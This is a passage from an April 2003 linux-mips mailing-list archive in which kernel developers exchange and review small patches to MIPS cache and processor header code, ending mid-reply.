	id <S8225212AbTDMSlz>; Sun, 13 Apr 2003 19:41:55 +0100
Received: from brm by brian.localnet with local (Exim 3.36 #1 (Debian))
	id 194mQF-0004aB-00; Sun, 13 Apr 2003 20:41:47 +0200
To: linux-mips@linux-mips.org, ralf@linux-mips.org
Subject: [PATCH 2.4] trivial secondary cache probe fix for R5000/NEVADA
Message-Id: <E194mQF-0004aB-00@brian.localnet>
From: Brian Murphy <brm@murphy.dk>
Date: Sun, 13 Apr 2003 20:41:47 +0200
Return-Path: <brm@murphy.dk>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2008
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: brm@murphy.dk
Precedence: bulk
X-list: linux-mips

Hi Ralf,
despite the comment there are at least two more processors this 
probe is needed/works for.

Please apply.

/Brian

Index: arch/mips/mm/c-r4k.c
===================================================================
RCS file: /cvs/linux/arch/mips/mm/c-r4k.c,v
retrieving revision 1.3.2.37
diff -u -r1.3.2.37 c-r4k.c
--- arch/mips/mm/c-r4k.c	13 Apr 2003 00:10:30 -0000	1.3.2.37
+++ arch/mips/mm/c-r4k.c	13 Apr 2003 18:32:21 -0000
@@ -996,6 +996,8 @@
 	case CPU_R4400PC:
 	case CPU_R4400SC:
 	case CPU_R4400MC:
+	case CPU_R5000:
+	case CPU_NEVADA:
 		probe_scache_kseg1 = (probe_func_t) (KSEG1ADDR(&probe_scache));
 		sc_present = probe_scache_kseg1(config);
 		break;

From ralf@linux-mips.net Sun Apr 13 20:15:37 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 13 Apr 2003 20:15:38 +0100 (BST)
Received: from p508B7216.dip.t-dialin.net ([IPv6:::ffff:80.139.114.22]:21728
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225212AbTDMTPh>; Sun, 13 Apr 2003 20:15:37 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3DJFVU05305;
	Sun, 13 Apr 2003 21:15:31 +0200
Date: Sun, 13 Apr 2003 21:15:31 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Brian Murphy <brm@murphy.dk>
Cc: linux-mips@linux-mips.org
Subject: Re: [PATCH 2.4] trivial secondary cache probe fix for R5000/NEVADA
Message-ID: <20030413211531.A5000@linux-mips.org>
References: <E194mQF-0004aB-00@brian.localnet>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <E194mQF-0004aB-00@brian.localnet>; from brm@murphy.dk on Sun, Apr 13, 2003 at 08:41:47PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2009
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Sun, Apr 13, 2003 at 08:41:47PM +0200, Brian Murphy wrote:

> despite the comment there are at least two more processors this 
> probe is needed/works for.

I don't think we want to use this frightening jewel for more than necessary.
On the R5000 the secondary cache can nicely be probed by looking at the
c0_config register.  c0_config.sc=0 indicates a second level cache is
present, setting the se bit in the same register enables it and the two
ss bits contain the size - doesn't that sound so much nicer than the
insane fragile stunt necessary for the R4000?

  Ralf

From brm@murphy.dk Sun Apr 13 21:48:22 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 13 Apr 2003 21:48:23 +0100 (BST)
Received: from port48.ds1-vbr.adsl.cybercity.dk ([IPv6:::ffff:212.242.58.113]:31016
	"EHLO brian.localnet") by linux-mips.org with ESMTP
	id <S8225212AbTDMUsW>; Sun, 13 Apr 2003 21:48:22 +0100
Received: from brm by brian.localnet with local (Exim 3.36 #1 (Debian))
	id 194oOe-0006U4-00; Sun, 13 Apr 2003 22:48:16 +0200
To: linux-mips@linux-mips.org, ralf@linux-mips.org
Subject: [PATCH 2.4] trivial secondary cache probe fix for R5000/NEVADA - v2
Message-Id: <E194oOe-0006U4-00@brian.localnet>
From: Brian Murphy <brm@murphy.dk>
Date: Sun, 13 Apr 2003 22:48:16 +0200
Return-Path: <brm@murphy.dk>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2010
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: brm@murphy.dk
Precedence: bulk
X-list: linux-mips

Hi Ralf,
How's this then?

/Brian

Index: arch/mips/mm/c-r4k.c
===================================================================
RCS file: /cvs/linux/arch/mips/mm/c-r4k.c,v
retrieving revision 1.3.2.37
diff -u -r1.3.2.37 c-r4k.c
--- arch/mips/mm/c-r4k.c	13 Apr 2003 00:10:30 -0000	1.3.2.37
+++ arch/mips/mm/c-r4k.c	13 Apr 2003 20:43:34 -0000
@@ -1000,6 +1000,14 @@
 		sc_present = probe_scache_kseg1(config);
 		break;
 
+	case CPU_R5000:
+	case CPU_NEVADA:
+		setup_noscache_funcs();
+#ifdef CONFIG_R5000_CPU_SCACHE
+		r5k_sc_init();
+#endif
+                return;
+
 	default:
 		sc_present = 0;
 	}
@@ -1014,17 +1022,7 @@
 	    !(current_cpu_data.scache.flags & MIPS_CACHE_NOT_PRESENT))
 		panic("Dunno how to handle MIPS32 / MIPS64 second level cache");
 
-	switch (current_cpu_data.cputype) {
-	case CPU_R5000:
-	case CPU_NEVADA:
-		setup_noscache_funcs();
-#ifdef CONFIG_R5000_CPU_SCACHE
-		r5k_sc_init();
-#endif
-		break;
-	default:
-		setup_scache_funcs();
-	}
+        setup_scache_funcs();
 }
 
 void __init ld_mmu_r4xx0(void)

From ilya@gateway.total-knowledge.com Sun Apr 13 23:10:19 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 13 Apr 2003 23:10:20 +0100 (BST)
Received: from 12-234-207-60.client.attbi.com ([IPv6:::ffff:12.234.207.60]:51176
	"HELO gateway.total-knowledge.com") by linux-mips.org with SMTP
	id <S8225212AbTDMWKT>; Sun, 13 Apr 2003 23:10:19 +0100
Received: (qmail 23153 invoked by uid 502); 13 Apr 2003 22:10:13 -0000
Date: Sun, 13 Apr 2003 15:10:13 -0700
From: ilya@theIlya.com
To: linux-mips@linux-mips.org
Subject: [PATCH] c-r4k.c
Message-ID: <20030413221013.GA2217@gateway.total-knowledge.com>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="TB36FDmn/VVEgNH/"
Content-Disposition: inline
User-Agent: Mutt/1.4i
Return-Path: <ilya@gateway.total-knowledge.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2011
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ilya@theIlya.com
Precedence: bulk
X-list: linux-mips


--TB36FDmn/VVEgNH/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

It seems like following is needed to get mips64/mm/c-r4k.c to compile:

Index: arch/mips64/mm/c-r4k.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /home/cvs/linux/arch/mips64/mm/c-r4k.c,v
retrieving revision 1.30
diff -u -r1.30 c-r4k.c
--- arch/mips64/mm/c-r4k.c      13 Apr 2003 00:10:41 -0000      1.30
+++ arch/mips64/mm/c-r4k.c      13 Apr 2003 22:06:14 -0000
@@ -1073,7 +1073,7 @@
             PAGE_SIZE - 1);
=20
        flush_cache_sigtramp =3D r4k_flush_cache_sigtramp;
-       _flush_icache_all =3D r4k_flush_icache_all;
+       flush_icache_all =3D r4k_flush_icache_all;
        flush_data_cache_page =3D r4k_flush_data_cache_page;
        flush_icache_range =3D r4k_flush_icache_range;    /* Ouch */
=20


--TB36FDmn/VVEgNH/
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE+meBF7sVBmHZT8w8RAmv2AKCxfZNP+5RU0jGNsPE8DK43NF6FvgCeLJNU
HfIPRaPbJh5M1ECChhSCgtM=
=gi84
-----END PGP SIGNATURE-----

--TB36FDmn/VVEgNH/--

From WayneChen@aiptek.com.tw Mon Apr 14 02:06:26 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 02:06:28 +0100 (BST)
Received: from h165-210-243-241.seed.net.tw ([IPv6:::ffff:210.243.241.165]:4089
	"EHLO relay.aiptek.com.tw") by linux-mips.org with ESMTP
	id <S8225212AbTDNBG0>; Mon, 14 Apr 2003 02:06:26 +0100
Received: from mail.aiptek.com.tw (mail.aiptek.com.tw [10.0.1.149])
	by relay.aiptek.com.tw (8.11.6/8.11.6) with ESMTP id h3E95nX21013;
	Mon, 14 Apr 2003 17:06:13 +0800
Received: from WayneChen ([10.0.3.56]) by mail.aiptek.com.tw with Microsoft SMTPSVC(5.0.2195.5329);
	 Mon, 14 Apr 2003 09:05:37 +0800
From: "Wayne Chen" <waynechen@aiptek.com.tw>
To: <linux-mips@linux-mips.org>, <linux-cvs@linux-mips.org>
Subject: RE: CVS Update@-mips.org: linux 
Date: Mon, 14 Apr 2003 09:05:36 +0800
Message-ID: <001101c30221$f51a1750$3803000a@aiptek.com.tw>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: base64
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
In-Reply-To: <20030412205002Z8225201-1272+1267@linux-mips.org>
Importance: Normal
X-OriginalArrivalTime: 14 Apr 2003 01:05:37.0405 (UTC) FILETIME=[F597D2D0:01C30221]
Return-Path: <WayneChen@aiptek.com.tw>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2012
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: waynechen@aiptek.com.tw
Precedence: bulk
X-list: linux-mips

DQpJIHdvdWxkIGxpa2UgdG8gdW4tcmVnaXN0ZXIuDQoNCndheW5lDQogDQogICANCg0KDQotLS0t
LU9yaWdpbmFsIE1lc3NhZ2UtLS0tLQ0KRnJvbTogcmFsZkBsaW51eC1taXBzLm9yZyBbbWFpbHRv
OnJhbGZAbGludXgtbWlwcy5vcmddDQpTZW50OiBTdW5kYXksIEFwcmlsIDEzLCAyMDAzIDQ6NTAg
QU0NClRvOiBsaW51eC1jdnNAbGludXgtbWlwcy5vcmcNClN1YmplY3Q6IENWUyBVcGRhdGVALW1p
cHMub3JnOiBsaW51eCANCg0KDQoNCkNWU1JPT1Q6CS9ob21lL2N2cw0KTW9kdWxlIG5hbWU6CWxp
bnV4DQpDaGFuZ2VzIGJ5OglyYWxmQGZ0cC5saW51eC1taXBzLm9yZwkwMy8wNC8xMiAyMTo0OTo1
Nw0KDQpNb2RpZmllZCBmaWxlczoNCglhcmNoL21pcHMvbW0gICA6IE1ha2VmaWxlIGMtcjRrLmMg
bG9hZG1tdS5jIA0KCWFyY2gvbWlwczY0L21tIDogTWFrZWZpbGUgYy1yNGsuYyBsb2FkbW11LmMg
DQpSZW1vdmVkIGZpbGVzOg0KCWFyY2gvbWlwcy9tbSAgIDogYy1taXBzMzI2NC5jIHBnLW1pcHMz
MjY0LmMgDQoJYXJjaC9taXBzNjQvbW0gOiBjLW1pcHMzMjY0LmMgcGctbWlwczMyNjQuYyANCglp
bmNsdWRlL2FzbS1taXBzOiBtaXBzMzI2NC1jYWNoZS5oIA0KCWluY2x1ZGUvYXNtLW1pcHM2NDog
bWlwczMyNjQtY2FjaGUuaCANCg0KTG9nIG1lc3NhZ2U6DQoJU2VuZCBtaXBzMzI2NCBiYWNrIGlu
dG8gdGhlIGhlbGwgaXQgY2FtZSBmcm9tIC4uLg0KDQoNCg==


From ralf@linux-mips.net Mon Apr 14 02:36:40 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 02:36:41 +0100 (BST)
Received: from p508B7216.dip.t-dialin.net ([IPv6:::ffff:80.139.114.22]:46820
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225221AbTDNBgk>; Mon, 14 Apr 2003 02:36:40 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3E1aX027952;
	Mon, 14 Apr 2003 03:36:33 +0200
Date: Mon, 14 Apr 2003 03:36:33 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Brian Murphy <brm@murphy.dk>
Cc: linux-mips@linux-mips.org
Subject: Re: [PATCH 2.4] trivial secondary cache probe fix for R5000/NEVADA - v2
Message-ID: <20030414033633.A27922@linux-mips.org>
References: <E194oOe-0006U4-00@brian.localnet>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <E194oOe-0006U4-00@brian.localnet>; from brm@murphy.dk on Sun, Apr 13, 2003 at 10:48:16PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2013
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Sun, Apr 13, 2003 at 10:48:16PM +0200, Brian Murphy wrote:

> Hi Ralf,
> How's this then?

Even better, applied.

  Ralf

From anemo@mba.ocn.ne.jp Mon Apr 14 04:29:25 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 04:29:32 +0100 (BST)
Received: from topsns.toshiba-tops.co.jp ([IPv6:::ffff:202.230.225.5]:47876
	"HELO topsns.toshiba-tops.co.jp") by linux-mips.org with SMTP
	id <S8225202AbTDND3Z>; Mon, 14 Apr 2003 04:29:25 +0100
Received: from no.name.available by topsns.toshiba-tops.co.jp
          via smtpd (for mail.linux-mips.org [62.254.210.162]) with SMTP; 14 Apr 2003 03:29:23 UT
Received: from localhost (fragile [172.17.28.65])
	by srd2sd.toshiba-tops.co.jp (8.12.8/8.12.8) with ESMTP id h3E3TD2D002194;
	Mon, 14 Apr 2003 12:29:14 +0900 (JST)
	(envelope-from anemo@mba.ocn.ne.jp)
Date: Mon, 14 Apr 2003 12:35:14 +0900 (JST)
Message-Id: <20030414.123514.74756574.nemoto@toshiba-tops.co.jp>
To: linux-mips@linux-mips.org, ralf@linux-mips.org
Subject: End c-tx49.c's misserable existence
From: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
Cc: Atsushi Nemoto <nemoto@toshiba-tops.co.jp>
In-Reply-To: <20030412163215Z8225197-1272+1264@linux-mips.org>
References: <20030412163215Z8225197-1272+1264@linux-mips.org>
X-Fingerprint: 6ACA 1623 39BD 9A94 9B1A  B746 CA77 FE94 2874 D52F
X-Pgp-Public-Key: http://wwwkeys.pgp.net/pks/lookup?op=get&search=0x2874D52F
Organization: TOSHIBA Personal Computer System Corporation
X-Mailer: Mew version 2.2 on Emacs 21.2 / Mule 5.0 (SAKAKI)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <anemo@mba.ocn.ne.jp>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2014
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: anemo@mba.ocn.ne.jp
Precedence: bulk
X-list: linux-mips

>>>>> On Sat, 12 Apr 2003 17:32:09 +0100, ralf@linux-mips.org said:
ralf> Modified files:
ralf> 	include/asm-mips: Tag: linux_2_4 war.h 
ralf> 	include/asm-mips64: Tag: linux_2_4 war.h 
ralf> 	arch/mips/mm   : Tag: linux_2_4 Makefile c-r4k.c 
ralf> 	arch/mips64/mm : Tag: linux_2_4 c-r4k.c 
ralf> Removed files:
ralf> 	arch/mips/mm   : Tag: linux_2_4 c-tx49.c 

ralf> Log message:
ralf> 	End c-tx49.c's misserable existence and move it into c-r4k.c.

I'm happy to see this change and have one more request.

TOSHIBA_ICACHE_WAR can be removed.  This workaround is not needed
if kernel does not modify the cache codes itself in run-time.

When I wrote c-tx49.c I blindly followed the statement in TX49/H2
manual's statement. ("If the instruction (i.e. CACHE) is issued for
the line which this instruction itself exists, the following operation
is not guaranteed.")  Now I know this warning is only for
self-modified code.  There must be no problem if the codes is not
modified in run-time.  So please remove all TOSHIBA_ICACHE_WAR stuff
and make c-r4k.c more clean.

Thank you.
---
Atsushi Nemoto
The old PGP key (ID B6D728B1) has been revoked.  New key ID is 2874D52F.

From ralf@linux-mips.net Mon Apr 14 04:50:47 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 04:50:47 +0100 (BST)
Received: from p508B7216.dip.t-dialin.net ([IPv6:::ffff:80.139.114.22]:53479
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225221AbTDNDur>; Mon, 14 Apr 2003 04:50:47 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3E3oc332472;
	Mon, 14 Apr 2003 05:50:38 +0200
Date: Mon, 14 Apr 2003 05:50:38 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
Cc: linux-mips@linux-mips.org,
	Atsushi Nemoto <nemoto@toshiba-tops.co.jp>
Subject: Re: End c-tx49.c's misserable existence
Message-ID: <20030414055038.A29923@linux-mips.org>
References: <20030412163215Z8225197-1272+1264@linux-mips.org> <20030414.123514.74756574.nemoto@toshiba-tops.co.jp>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030414.123514.74756574.nemoto@toshiba-tops.co.jp>; from anemo@mba.ocn.ne.jp on Mon, Apr 14, 2003 at 12:35:14PM +0900
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2015
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Mon, Apr 14, 2003 at 12:35:14PM +0900, Atsushi Nemoto wrote:

> TOSHIBA_ICACHE_WAR can be removed.  This workaround is not needed
> if kernel does not modify the cache codes itself in run-time.
> 
> When I wrote c-tx49.c I blindly followed the statement in TX49/H2
> manual's statement. ("If the instruction (i.e. CACHE) is issued for
> the line which this instruction itself exists, the following operation
> is not guaranteed.")  Now I know this warning is only for
> self-modified code.  There must be no problem if the codes is not
> modified in run-time.  So please remove all TOSHIBA_ICACHE_WAR stuff
> and make c-r4k.c more clean.

Excellent.  This should provide a good performance boost for the TX49
also as disabling the I-cache during the flush made the operation even
slower than it has to be.

  Ralf

From anemo@mba.ocn.ne.jp Mon Apr 14 07:23:11 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 07:23:12 +0100 (BST)
Received: from topsns.toshiba-tops.co.jp ([IPv6:::ffff:202.230.225.5]:23556
	"HELO topsns.toshiba-tops.co.jp") by linux-mips.org with SMTP
	id <S8225202AbTDNGXL>; Mon, 14 Apr 2003 07:23:11 +0100
Received: from no.name.available by topsns.toshiba-tops.co.jp
          via smtpd (for mail.linux-mips.org [62.254.210.162]) with SMTP; 14 Apr 2003 06:23:10 UT
Received: from localhost (fragile [172.17.28.65])
	by srd2sd.toshiba-tops.co.jp (8.12.8/8.12.8) with ESMTP id h3E6N22D002799;
	Mon, 14 Apr 2003 15:23:02 +0900 (JST)
	(envelope-from anemo@mba.ocn.ne.jp)
Date: Mon, 14 Apr 2003 15:29:03 +0900 (JST)
Message-Id: <20030414.152903.41628304.nemoto@toshiba-tops.co.jp>
To: ralf@linux-mips.org
Cc: nemoto@toshiba-tops.co.jp, linux-mips@linux-mips.org
Subject: Re: End c-tx49.c's misserable existence
From: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
In-Reply-To: <20030414055038.A29923@linux-mips.org>
References: <20030412163215Z8225197-1272+1264@linux-mips.org>
	<20030414.123514.74756574.nemoto@toshiba-tops.co.jp>
	<20030414055038.A29923@linux-mips.org>
X-Fingerprint: 6ACA 1623 39BD 9A94 9B1A  B746 CA77 FE94 2874 D52F
X-Pgp-Public-Key: http://wwwkeys.pgp.net/pks/lookup?op=get&search=0x2874D52F
Organization: TOSHIBA Personal Computer System Corporation
X-Mailer: Mew version 2.2 on Emacs 21.2 / Mule 5.0 (SAKAKI)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <anemo@mba.ocn.ne.jp>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2016
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: anemo@mba.ocn.ne.jp
Precedence: bulk
X-list: linux-mips

>>>>> On Mon, 14 Apr 2003 05:50:38 +0200, Ralf Baechle <ralf@linux-mips.org> said:
ralf> Excellent.  This should provide a good performance boost for the
ralf> TX49 also as disabling the I-cache during the flush made the
ralf> operation even slower than it has to be.

Thank you for quick response.

One more request.  Please enclose R4600_V1_HIT_CACHEOP_WAR and
R4600_V2_HIT_CACHEOP_WAR with appropriate CONFIG_CPU_XXX.  I do not
know what CPUs need this workaround... (at least TX49 does not need
this)

---
Atsushi Nemoto

From macro@ds2.pg.gda.pl Mon Apr 14 12:56:31 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 12:56:32 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:39324 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225202AbTDNL4b>; Mon, 14 Apr 2003 12:56:31 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id NAA25085;
	Mon, 14 Apr 2003 13:57:02 +0200 (MET DST)
Date: Mon, 14 Apr 2003 13:57:01 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Karsten Merker <karsten@excalibur.cologne.de>,
	Ralf Baechle <ralf@linux-mips.org>
cc: linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
In-Reply-To: <20030413152226.GB1968@excalibur.cologne.de>
Message-ID: <Pine.GSO.3.96.1030414134631.24742A-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2017
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Sun, 13 Apr 2003, Karsten Merker wrote:

> > Modified files:
> > 	drivers/char   : Tag: linux_2_4 dz.c 
> > 	drivers/tc     : Tag: linux_2_4 zs.c 
> > 
> > Log message:
> > 	Set .owner in case the code gets modularized.  Patch by Hanna Linder.
> 
> I guess something went wrong here. Maciej, you are trying to set a field
> "owner" in a struct tty_driver, which does not have an "owner" field.
> This results in dz.c and zs.c not compiling.

 Yep, I noticed it yesterday -- the fix should have been applied to 2.5
only.  I'm committing a reversion immediately. 

> uses current_cpu_data instead of mips_cpu but does not define it. To get
> them defined, inclusion of <asm/processor.h> and <linux/smp.h> is needed.

 I find it bogus to include <linux/smp.h> in code that has no slightest
possibility to ever meet an SMP configuration.  I think <asm/processor.h>
should be fixed instead.

 Following is a fix -- Ralf, I hope that's OK.

  Maciej

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +

patch-mips-2.4.21-pre4-20030411-dec-cpu_data-1
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/dec/prom/init.c linux-mips-2.4.21-pre4-20030411/arch/mips/dec/prom/init.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/dec/prom/init.c	2003-04-07 02:56:23.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/dec/prom/init.c	2003-04-13 19:40:03.000000000 +0000
@@ -10,6 +10,8 @@
 
 #include <asm/bootinfo.h>
 #include <asm/cpu.h>
+#include <asm/processor.h>
+
 #include <asm/dec/prom.h>
 
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/include/asm-mips/processor.h linux-mips-2.4.21-pre4-20030411/include/asm-mips/processor.h
--- linux-mips-2.4.21-pre4-20030411.macro/include/asm-mips/processor.h	2003-04-10 02:57:34.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/include/asm-mips/processor.h	2003-04-13 19:52:53.000000000 +0000
@@ -22,7 +22,9 @@
 #define current_text_addr() ({ __label__ _l; _l: &&_l;})
 
 #ifndef __ASSEMBLY__
+#include <linux/smp.h>
 #include <linux/threads.h>
+
 #include <asm/cachectl.h>
 #include <asm/mipsregs.h>
 #include <asm/reg.h>
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/include/asm-mips64/processor.h linux-mips-2.4.21-pre4-20030411/include/asm-mips64/processor.h
--- linux-mips-2.4.21-pre4-20030411.macro/include/asm-mips64/processor.h	2003-04-13 18:48:34.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/include/asm-mips64/processor.h	2003-04-13 19:52:10.000000000 +0000
@@ -31,6 +31,8 @@
 })
 
 #ifndef __ASSEMBLY__
+#include <linux/smp.h>
+
 #include <asm/cachectl.h>
 #include <asm/mipsregs.h>
 #include <asm/reg.h>


From macro@ds2.pg.gda.pl Mon Apr 14 13:30:21 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 13:30:22 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:44957 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225225AbTDNMaV>; Mon, 14 Apr 2003 13:30:21 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id OAA25442;
	Mon, 14 Apr 2003 14:31:00 +0200 (MET DST)
Date: Mon, 14 Apr 2003 14:31:00 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ralf Baechle <ralf@linux-mips.org>
cc: "Erik J. Green" <erik@greendragon.org>, linux-mips@linux-mips.org
Subject: Re: Where does physical RAM start in kseg0?
In-Reply-To: <20030413042529.A20034@linux-mips.org>
Message-ID: <Pine.GSO.3.96.1030414142823.24742B-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2018
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Sun, 13 Apr 2003, Ralf Baechle wrote:

> Due to the Octane's funky address space layout and the current tools
